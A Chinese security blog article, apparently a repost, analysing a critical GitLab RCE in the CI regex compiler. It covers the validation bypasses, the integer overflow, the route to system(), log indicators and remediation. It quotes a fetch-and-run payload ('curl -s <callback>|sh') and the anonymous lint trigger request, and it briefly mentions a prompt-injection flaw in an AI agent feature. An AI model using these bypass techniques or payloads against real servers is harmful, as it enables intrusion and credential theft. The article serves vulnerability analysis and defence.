GitLab CVE-2026-97229 满分 RCE 分析:一条注释骗过校验,一次重编译引爆 Onigmo
小艾搞安全
2026年10月16日 11:04
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
编者荐语:
DDDD
以下文章来源于Kratos Sec
,作者Kratos
Kratos Sec
.
一线红队 · AI×攻防 | 代码审计 | 工具开发 | 漏洞复现 | 渗透测试
人生很长,总要为自己留点回忆。
GitLab CVE-2026-97229 满分 RCE 分析:一条注释骗过校验,一次重编译引爆 Onigmo
10 月 12 日 GitLab 发紧急补丁,CVE-2026-97229 拿到 CVSS 10.0 满分——这是一个月内的第二个(上一个是 9 月 10 日的 CVE-2026-85706 任意文件读取,本号写过分析)。这次的入口更离谱:一个写在 CI 配置里的正则表达式。字面意义上的\"配置即载荷\"。更值得玩味的是,9 月 23 日 GitLab 刚修过同一子系统的两个 RCE(CVE-2026-93577、CVE-2026-89078),而修完它们的 19.4.1,被 Rapid7 在官方镜像上完整打穿,十次全中。这篇把整条链拆开:两条校验是怎么被绕的,整数溢出怎么变成代码执行,以及\"未授权\"三个字的水分到底在哪。
0x0 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-97229 |
| 漏洞类型 | 整数溢出(CWE-190)/ 未授权 RCE |
| CVSS 评分 | 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 影响组件 | CI/CD Regular Expression Compiler(GitLab CE/EE) |
| 影响版本 | 19.2 ≤ v < 19.2.8;19.3 ≤ v < 19.3.5;19.4 ≤ v < 19.4.2 |
| 修复版本 | 19.2.8 / 19.3.5 / 19.4.2(10 月 12 日) |
| 报告者 | joaxcar(HackerOne) |
| 在野利用 | 截稿未确认,但 Rapid7 已在官方 CE 镜像完整复现 RCE |
正则引擎是 Ruby 自带的 Onigmo(C 实现),不是 RE2。GitLab.com 已修复,Dedicated 用户无需动作,风险全部集中在自建实例。
0x1 攻击面:一个匿名可打的 lint 接口
漏洞出现在 CI 配置里 include.rules.exists.regexp 的处理链路——rules:exists 允许用正则去匹配仓库内文件路径,来决定 job 是否创建。正则由服务端编译并与仓库路径逐个匹配,这个\"编译 + 匹配\"就是全部的攻击面。
触发请求是 CI lint:
GET /api/v4/projects/{id}/ci/lint?content_ref=攻击者推送的分支
PoC 实测这个请求不带任何 token、cookie、认证头。对一个存在公开项目的实例,任何人都能发。
但要把\"未授权\"说准确,得拆成两步看。种植需要写权限:攻击者得先把恶意 .gitlab-ci.yml 和一个特殊命名的 UTF-8 文件推到某个公开项目的分支上;引爆是匿名的:lint 请求本身不需要任何身份。所以严格说这是\"投放匿名、种植需项目写权限\"。Rapid7 特意提醒:在开放自注册、允许新建公开项目的实例上,这个前提条件等于没有——随便注册个账号就补齐了。CVSS 给 PR:N 不能算错,只是要读懂它的前提。
0x2 两道校验,两次绕过
GitLab 对 CI 配置里的正则不是不设防,设了两道,都被绕了。
第一道:编译体积检查。 正则编译后的程序体积上限 1MB,防止用 a{999999} 这类量化膨胀把引擎撑爆。配套还有一个重复量词扫描器,专门检查模式字符串里的大数值量词。
绕法是利用解析器分歧。Ruby 的 Onigmo 支持 (?#...) 行内注释,编译时直接丢弃。攻击者把重复 57,805 次写成:
{5(?#)7805}
Onigmo 编译时剥掉空注释 (?#),看到的是完整的量词 {57805};而 GitLab 的扫描器在模式字符串里找量词时,被中间的 (?#) 截断,根本不认为这里存在一个五位数的大重复。同一段文本,两个解析器两个理解——这是和 OnlyOffice savetype=3、Fastjson autoType 一个家族的经典问题:校验的解析器和执行的解析器不是同一个。
第二道绕过更漂亮:让校验和执行发生在两次不同的编译上。 恶意正则最初以紧凑的 US-ASCII 编译表示通过 GitLab 的全部校验(体积 1MB 检查在这一步)。随后它被拿去和一个合法的 UTF-8 仓库路径匹配——此时 Ruby 发现目标字符串编码与正则编码不一致,Onigmo 按 UTF-8 重新编译这个正则,而重新编译发生在所有校验完成之后,1MB 检查再也不会执行。
TOCTOU 讲了二十年,讲的都是\"检查文件、用文件\"之间的窗口。这里是编码维度的 TOCTOU:检查的是 US-ASCII 编译产物,执行的是 UTF-8 编译产物,同一个模式,两个二进制。UTF-8 编译下多字节处理的展开让程序体积膨胀到检查时从未见过的规模——溢出的舞台就搭在这里。
0x3 溢出到 RCE:把 VM 变成射箭场
Onigmo 把正则编译成自己的字节码,交给内置 VM 执行。编译器内部用有符号 32 位整数累计程序体积和跳转偏移。攻击者把重复单元调到 37,151 字节、重复 57,805 次:
37,151 × 57,805 = 2,147,513,555 > INT_MAX (2,147,483,647)
超出 29,908——刻意贴着边界调的,刚好回绕。程序尺寸和分支偏移在回绕后变成攻击者可控的小值,一条分支偏移直接落进字符类 bitmap 的字节里,而 bitmap 内容是攻击者随便写的。
从这里开始是纯粹的内存利用艺术:
- 损坏的指令序列让 Onigmo VM 的操作数栈枢转(pivot)到攻击者控制的那条 UTF-8 仓库路径字符串上;
- 栈上数据被当作 VM 指令执行——攻击者在字符类里预埋了整段 Onigmo 字节码;
- ASLR 靠复用解释器进程内现成的指针绕过,不需要泄露任何地址;
- 最终到达 libruby 里的
system()调用点,以git用户(uid 998)身份在 Puma worker 里执行命令。
第一阶段载荷只有 28 字节:curl -s 回调地址|sh,回调地址受 UTF-8 路径 17 字节的约束,回连后拉取完整命令并把 stdout/stderr 送回来。
0x4 复现状态与工程细节
公开 PoC 在 github.com/jburgess-r7/CVE-2026-97229-PoC,纯 Python 标准库:起回调服务、克隆目标项目、推恶意分支、发匿名 lint 请求、收执行结果。Rapid7 在官方 gitlab-ce:19.4.1 amd64 镜像上验证全链路,开 ASLR 十次全中;同样输入打到 19.4.2 无效。
几个工程细节决定了它的实战形态:
- 内存门槛 ~9 GiB:正则程序膨胀超过 2 GiB,小内存实例直接 OOM,打不动;
- 单次请求约 12 秒:慢,特征明显;
- 偏移锁定构建:native 偏移绑定具体版本和架构,换个镜像 tag 就要重调,不是开箱即用的武器;
- 失败无回显:HTTP 502 和超时都不能确认成败,盲打成本高。
这些约束把\"满分漏洞\"和\"已武器化的蠕虫\"区分开。目前 EPSS 约 0.56%,无 KEV 收录,无在野利用确认。但门槛会随时间消失——完整技术分析还没发,发了之后只会更低。
0x5 自查
版本对号。 19.2.8 之前的 19.2.x、19.3.5 之前的 19.3.x(含 19.3.4,它虽然修了 9 月的洞但没修这个,还带 Ona 集成问题)、19.4.2 之前的 19.4.x,全部在射程内。管理后台 Help 页或 cat /opt/gitlab/version-manifest.txt 查。
日志翻四类特征:
- NGINX/网关:\\无认证头的
GET /api/v4/projects/*/ci/lint\\,query 带content_ref指向非常规分支——这是最硬的指纹; - 同一请求耗时异常(>10 秒)且最终 502;
- 生产监控:Puma worker 崩溃重启、单请求触发数 GiB 级内存分配或 OOM kill;
- 种植痕迹:公开项目里新出现的分支,
.gitlab-ci.yml含大段字符类嵌套的正则、仓库里有 UTF-8 特殊命名的文件。回溯窗口建议到 10 月 12 日之前。
风险面排序。 公网 + 开放自注册 + 允许新建公开项目的实例风险最高,按失陷预期处理;关闭了注册和公开项目的内网实例,暴露面收窄到\"有仓库写权限的内部账号\",仍不可忽视——CI 配置本来就是全员可写的位置。
0x6 修复与应急
升级到 19.2.8 / 19.3.5 / 19.4.2,走紧急流程,不等常规补丁周期。 19.3 线直接上 19.3.5(19.3.4 有独立问题)。注意本批含数据库迁移,参照 85706 那次的停机预案。
暂时升不了的,封演示过的投放路径: 限制匿名访问公开项目(实名/内网可见)、禁止不可信用户新建和写入公开项目。要说清楚这只是缓解——它封住的是 Rapid7 演示的种植方式,正则编译器本身的洞还在,任何能让恶意 CI 配置被编译的路径都依然可达。
怀疑中招的,升级只是第一步。 以 git 用户身份执行的命令意味着源码仓库、CI/CD 变量、runner 注册 token 全部视为已泄露:轮换所有受保护和非保护的 CI 变量、runner token、部署密钥,排查 runner 上的持久化(cron、计划任务、SSH key),审计异常分支和 MR。
0x7 两个月三枪:同一个子系统的病历
把时间线拉长看:9 月 23 日修 CVE-2026-93577(regex 编译器整数溢出,认证后 RCE,9.9)和 CVE-2026-89078(regex 解析器认证后 RCE),10 月 12 日修 CVE-2026-97229(regex 编译器整数溢出,10.0)。同一个月内,本批补丁里还有个 CVE-2026-14814(8.2)——仓库文件访问里的宽松正则导致缓存投毒泄露受保护环境变量。四枪全打在正则处理上。
97229 和 93577 几乎可以确定是同一片代码的连环修补:修第一个溢出时加固了校验,结果校验本身被 (?#) 注释和编码重编译两板斧破了。教训是结构性的:在应用层用字符串扫描去校验一个交给底层引擎编译的模式,注定被解析器分歧打穿;校验过的编译产物和实际执行的编译产物不是同一份,校验就是空话。 彻底的修法只有一种——校验和执行共用同一次编译,体积上限在编译器内部以不会溢出的宽度强制执行。
另外留意 CVSS 向量里的 S:C(scope change):代码执行发生在 Puma worker 里但影响越出了组件边界,官方也承认这是\"打穿隔离\"级别的执行。对自建 GitLab 这种沉淀着整个研发体系凭据的资产,满分不冤。
0x8 同批补丁里的其他角色
这次 19.4.2 一共修了 26 个 CVE,除主角外值得记名的:
- CVE-2026-92883(8.7):语法高亮 XSS,恶意仓库可注入任意 JS——和本篇组合就是\"种仓库→打看代码的人\"的存储型链条;
- CVE-2026-16301(8.5):下游流水线创建越权,绕过受保护分支限制;
- CVE-2026-14814(8.2):上面说的正则缓存投毒泄露受保护 CI 变量,和主角互为印证;
- CVE-2026-96893(7.3,EE):Duo Agent Platform 提示注入导致意外命令执行——AI 功能连续出现在安全公告里,值得单独观察。
一次升级全部解决。
参考
- https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released
免责声明:本文仅用于安全研究与学习,未经授权不得用于任何非法渗透测试活动。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论